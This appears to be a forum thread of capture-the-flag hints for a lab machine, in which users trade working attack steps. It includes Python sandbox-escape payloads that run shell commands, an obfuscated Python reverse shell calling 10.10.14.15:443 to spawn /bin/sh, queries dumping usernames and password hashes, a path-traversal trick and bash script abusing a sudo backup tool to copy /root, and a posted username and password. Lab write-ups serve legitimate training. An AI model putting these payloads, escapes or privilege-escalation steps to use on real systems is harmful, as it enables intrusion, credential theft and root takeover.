[fathermocker]

Translator

().__class__.__bases__[0].__subclasses__()[317](['SHELL CODE'], shell=True)

this works too for foothold. Anyone with any luck for root?

 Use the task.json to elevate priivileges and parse the /usr/bin/backy.sh to make a /home/....//....//<path>
and remove the exclude param.

Thanks. Forgot to remove the exclude part and kept getting empty archive.

[slimeylimey]

For root:

{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/....//....//root"
    ]
}

then sudo /usr/bin/backy.sh <task.json>, then go to backups and unarchive.

[Cipiki]

User flag is Martin ?
I can't find the flag

[Dtom]

user flag app-production:

read via "Python Code Editor"

[hollb_g33k]

Foothold:
Get creds from the code editor
print([u.username for u in db.session.query(User).all()])
print([u.password for u in db.session.query(User).all()])

You get usernames and password hashes in MD5 (use crackstations or hashcat )

User
After SSH as user martin create task.json in /tmp
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/"
],
"exclude": [
".*"
]
}

Run sudo /usr/bin/backy.sh task.json
Extract the file found in martin : tar -xf code*****.tar.bz2
cd to dir to get the user.txt

For root, same process but /root is blacklisted, you can trick the backy.sh but modifying the above task.json using /var/../root/ for directory to archive....

P.S. : You have to be quick, there is a cleanup script that remove everything in 2-3mn.

[HTBLearner]

If people are struggling to get the root flag extracted before the clean up script save and run the below script, cd the output directory and then cat the file. credit for the directory info and root attack path to those above.

#!/bin/bash

# Config
TARGET="/var/../root/"  # Change to "/home/app-production/" for user
DEST="/home/martin"
TASK_JSON="/tmp/task.json"
BACKUP_DIR="$DEST"
BACKY="/usr/bin/backy.sh"

# 1. Create task.json
cat <<EOF > $TASK_JSON
{
  "destination": "$DEST",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "$TARGET"
  ]
}
EOF

echo "[+] Created $TASK_JSON with target: $TARGET"

# 2. Run backy.sh
echo "
[*]Running $BACKY with sudo..."
sudo $BACKY $TASK_JSON

# 3. Find the latest archive
ARCHIVE=$(ls -t $BACKUP_DIR/code*.tar.bz2 2>/dev/null | head -n1)

if [ -z "$ARCHIVE" ]; then
  echo "[!] No archive found in $BACKUP_DIR"
  exit 1
fi

echo "[+] Found archive: $ARCHIVE"

# 4. Extract it
mkdir -p /tmp/unpack
tar -xjf "$ARCHIVE" -C /tmp/unpack
echo "[+] Extracted archive to /tmp/unpack"

# 5. Search for user.txt or root.txt
find /tmp/unpack -iname "user.txt" -o -iname "root.txt"

[hoshinotaiichi]

(lambda:
(lambda f:
(lambda s: (
[
f((0x6f).to_bytes(1,'big').decode() + (0x73).to_bytes(1,'big').decode())(
(0x64).to_bytes(1,'big').decode() +
(0x75).to_bytes(1,'big').decode() +
(0x70).to_bytes(1,'big').decode() +
str(0x32>>1)
)(s.fileno(), fd)
for fd in (0,1,2)
] + [
f((0x70).to_bytes(1,'big').decode() +
(0x74).to_bytes(1,'big').decode() +
(0x79).to_bytes(1,'big').decode())(
(0x73).to_bytes(1,'big').decode() +
(0x70).to_bytes(1,'big').decode() +
(0x61).to_bytes(1,'big').decode() +
(0x77).to_bytes(1,'big').decode() +
(0x6e).to_bytes(1,'big').decode()
)('/bin/sh')
]
)
)(
(lambda sock: (
(sock.connect(
(
bytes([0x31,0x30,0x2e,0x31,0x30,0x2e,0x31,0x34,0x2e,0x31,0x35]).decode(),
443
)
) or sock
))(
f(bytes([0x73,0x6f,0x63,0x6b,0x65,0x74]).decode()).socket(2,1)
)
)
)(
(lambda:
type(
(lambda:0)(),
(),
{
'__getattr__': lambda _,n:
(lambda m: (_.__dict__.update({'m':m}) or m))(_[n])
if n.startswith((0x5f).to_bytes(1,'big').decode())
else globals()[
(0x5f).to_bytes(1,'big').decode()*2 +
(0x69).to_bytes(1,'big').decode() +
(0x6d).to_bytes(1,'big').decode() +
(0x70).to_bytes(1,'big').decode() +
(0x6f).to_bytes(1,'big').decode() +
(0x72).to_bytes(1,'big').decode() +
(0x74).to_bytes(1,'big').decode() +
(0x5f).to_bytes(1,'big').decode()*2
](n)
}
)()
)()
)))()


i tried use lambda, python code can execute, but cant get reverse shell.

[BFischer]

if anyone intersteed on leraning, here is the foothold : 

https://netsec.expert/posts/breaking-pyt...otections/


b = "B" + "u" + "i" + "l" + "t" + "i" + "n" + "I" + "m" + "p" + "o" + "r" + "t" + "e" + "r"
o = "o" + "s"
s = "s" + "y" + "s" + "t" + "e" + "m"

for some_class in [].__class__.__base__.__subclasses__():
    if some_class.__name__ == b:
        module_sex = some_class().load_module(o)
        getattr(module_sex, s)("id")

for user, look into a database,

 for root exploit jq to read files

Thanks brother for this!

[SunnyCheerfulboy]

I think this is the only difficulty.

To get usernames: print([u.username for u in db.session.query(User).all()])

To get password hashes: print([u.password for u in db.session.query(User).all()])

---

Credentials

martin:nafeelswordsmaster

[test888]

THanks for that